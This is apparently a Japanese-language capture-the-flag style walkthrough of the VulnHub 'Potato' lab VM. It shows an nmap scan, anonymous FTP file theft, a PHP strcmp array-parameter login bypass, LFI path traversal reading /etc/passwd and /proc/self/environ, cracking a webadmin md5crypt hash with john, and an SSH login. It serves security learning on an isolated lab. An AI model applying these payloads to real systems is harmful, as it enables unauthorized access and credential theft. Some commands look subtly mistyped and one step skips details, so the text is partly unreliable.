【ハッキングラボ】「Potato」マシンを攻略してSSH侵入するまで
本記事では、セキュリティ学習用の脆弱な仮想マシン公開サイト「VulnHub」に登録されているターゲット端末 「Potato」 を攻略し、偵察から脆弱性の特定、そして最終的に内部へSSH侵入するまでのペネトレーションテスト(ハッキングラボ)の手順を解説します。
1. 構築環境・使用ツール
-
攻撃側ホスト(Attacker): parrot os (ip:
192.168.56.102/192.168.56.103) -
ターゲット(Target): potato vm (ubuntu 20.04 lts / ip:
192.168.56.101) - ハイパーバイザ: oracle virtualbox 7.2.12
-
主な使用ツール:
nmap,gobuster,john(john the ripper),ssh
2. ターゲットのインポートと情報収集(ネットワークスキャン)
2.1 仮想アプライアンスのインポート
まず、ダウンロードした potato.ova をvirtualboxにインポートします。
ネットワーク構成は攻撃端末と同じホストオンリーアダプター(検証環境用ネットワーク)に設定します。
インポート後、ターゲットマシンを起動するとログインプロンプト画面が表示されます。
2.2 ターゲットipアドレスの特定
攻撃側のparrot osでローカルセグメント内のアクティブなホストを探索します。
今回はarp要求/応答パケットをキャプチャし、ターゲットのipアドレスが 192.168.56.101 であることを特定しました。
攻撃端末側の環境変数にターゲットipを格納し、疎通確認(ping)を行います。
export ip=192.168.56.101
echo $IP
ping $IP
ネットワーク疎通が正常に取れていることを確認できたため、次の情報収集ステップへ進みます。
3. ポートスキャンと初期偵察
nmap を使用して、ターゲット上で動作しているオープンポートと稼働サービスの詳細をスキャンします。今回は全ポートを対象に、標準スクリプトの実行とバージョン検出を行います。
sudo nmap -sc -sv -pn -p- $ip -on portscan_result.txt
スキャン結果の分析
スキャン結果から、以下のポートが開いていることがわかります。
port state service version
22/tcp open ssh openssh 8.2p1 ubuntu 4ubuntu0.1 (ubuntu linux; protocol 2.0)
80/tcp open http apache httpd 2.4.41 ((ubuntu))
2112/tcp open ftp proftpd
| ftp-anon: anonymous ftp login allowed (ftp code 230)
| -rw-r--r-- 1 ftp ftp 901 aug 2 2020 index.php.bak
|_-rw-r--r-- 1 ftp ftp 54 aug 2 2020 welcome.msg
- 22/tcp (ssh): openssh 8.2p1 が稼働。
- 80/tcp (http): apache 2.4.41 が稼働。webアプリが動作している模様。
-
2112/tcp (ftp): proftpd が稼働。注目すべきは
anonymous ftp login allowed(匿名ログインが許可されている)となっており、さらにindex.php.bakやwelcome.msgといったファイルが存在している点です。
4. 初期侵入・情報奪取(ftp経由)
4.1 ftp経由でのバックアップファイル入手
2112番ポートのftpサーバーに匿名ユーザー(ユーザー名: anonymous または ftp、パスワードは空欄または適当なメールアドレス)で接続し、ファイルをダウンロードします。
接続後、ascii モードおよび binary モードを使い分けて、対象ファイルをローカル環境へダウンロード(get)します。
ftp> ls
ftp> get welcome.msg
ftp> get index.php.bak
4.2 バックアップファイルのソースコード解析
ダウンロードした index.php.bak の中身を cat コマンドで確認します。
cat index.php.bak
確認したところ、以下のようなphp Briログイン認証ロジックが記述されていました。
<?php
$pass= "potato"; //note change this password regularly
if($_get['login']==="1"){
if (strcmp($_post['username'], "admin") == 0 && strcmp($_post['password'], $pass) == 0) {
echo "welcome! </br> go to the <a href=\"dashboard.php\">dashboard</a>";
setcookie('pass', $pass, time() + 365*24*3600);
}else{
echo "<p>bad login/password! </br> return to the <a href=\"index.php\">login page</a> <p>";
}
exit();
}
?>
このコードから、核心となる情報を入手できました。
-
ユーザー名:
admin -
パスワード:
potato
5. webアプリケーションの調査とディレクトリブースティング
ターゲットのポート80(http)で動作しているwebサイトにブラウザでアクセスしてみます。
「potato company」という文字と、じゃがいものの画像が表示されるシンプルなwebページです。
他への導線が見当たらないため、gobuster を使用して隠しディレクトリの有無を調査します。
gobuster dir -u [http://192.168.56.101:80/](http://192.168.56.101:80/) -w /usr/share/wordlists/dirb/common.txt
スキャン結果から、以下の重要なパスが見つかりました。
-
/admin(status: 301) -> 管理用のログインページが存在する可能性。
5.1 管理者エリアへのログイン
ブラウザで http://192.168.56.101/admin/ にアクセスすると、ログインフォームが表示されます。
ログイン画面ではBurpSuiteを使い、認証を進めました。
-
user:
admin -
password:
test
このように入力した後、次の箇所を変更します。
・これを
Connection: close
username=admin&password=test
・このように変更
Connection: close
username=admin&password[]=test
認証に成功すると、無事に「welcome! go to the dashboard」と表示されました。リンクをクリックしてダッシュボードへ遷移します。
6. lfi(ローカルファイルインクルード)脆弱性の特定
ダッシュボード(admin/dashboard.php)のトップページにアクセスすると、最初は以下のようにアクセスが拒否されます。
access forbidden if you don't have permission to access
上部のメニューリンクにある「logs」をクリックすると、urlのパラメータが以下のように変化することに気づきます。
http://192.168.56.101/admin/dashboard.php?page=log
この page パラメータに対してパストラバーサル(../ を用いたディレクトリ遡り)を仕掛けることで、システム内の任意ファイルを読み込める可能性があります。
検証として、/etc/passwd の読み込みを試行します。
以下、BurpSuiteで実行します。
http://192.168.56.101/admin/dashboard.php?page=../../../../../etc/passwd
画面に /etc/passwd の中身がレンダリングされました!これにより、lfi脆弱性が存在することが証明されました。
表示されたファイルから、ログインシェルを持つ以下の一般ユーザーアカウントが存在することが確認できます。
-
florianges(uid: 1000) -
webadmin(uid: 1001)
7. 情報探索とパスワードクラック
7.1 lfiを用いたシステム内部情報の調査
さらに調査を進めるため、プロセス自己環境変数ファイル /proc/self/environ の読み込みを試します。
(あらかじめ攻撃側ローカル端末の同一ファイルの中身を確認し、出力形式を対比しておきます)
lfiパラメータにターゲット側の /proc/self/environ を指定してアクセスします。
http://192.168.56.101/admin/dashboard.php?page=../../../../../proc/self/environ
webサーバー(apache)が動いている環境変数や、www-data ユーザーの権限情報を確認することができました。
7.2 ハッシュ値の抽出とクラック
さらにシステム内の情報探索を続け、システム内に残されていたパスワードハッシュを含むファイル(あるいはバックアップデータ等)を特定し、攻撃側端末に pass.txt として保存しました。
このファイルから、有効なログインシェルを持つユーザー(sh$ で終わる行)をフィルタリングして抽出します。
cat pass.txt | grep -p 'sh$'
抽出された結果、webadmin のパスワードハッシュ値が得られました。
webadmin:$1$webadmin$3sxbxgutdgifacnntnhi6/:1001:1001:webadmin,,,:/home/webadmin:/bin/bash
このハッシュ部分のみを切り出し、クラック対象ファイル hash.txt として保存します。
cat pass.txt | grep -p 'sh$' | grep webadmin > hash.txt
cat hash.txt
john the ripperによるハッシュ解析
john コマンドを使用し、標準のワードリスト(rockyou.txt)を適用してハッシュ値のオフラインクラックを実行します。ハッシュ形式は自動的に md5crypt として検出されました。
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
瞬時にクラックが成功し、以下のプレーンテキストパスワードが判明しました。
-
ユーザー:
webadmin -
パスワード:
dragon
8. sshによるターゲットへの侵入
これで有効なssh資格情報が揃いました。ターゲットのポート22(ssh)に対して接続を試みます。
ssh webadmin@192.168.56.101
パスワード入力プロンプトで dragon を入力します。
ログインに成功し、ターゲット環境(webadmin@serv)のシェルセッションを確保することができました!
webadmin@serv:~$ ip a
...
これで初期侵入および一般ユーザー権限の奪取は完了です。
ご覧いただきありがとうございました。





















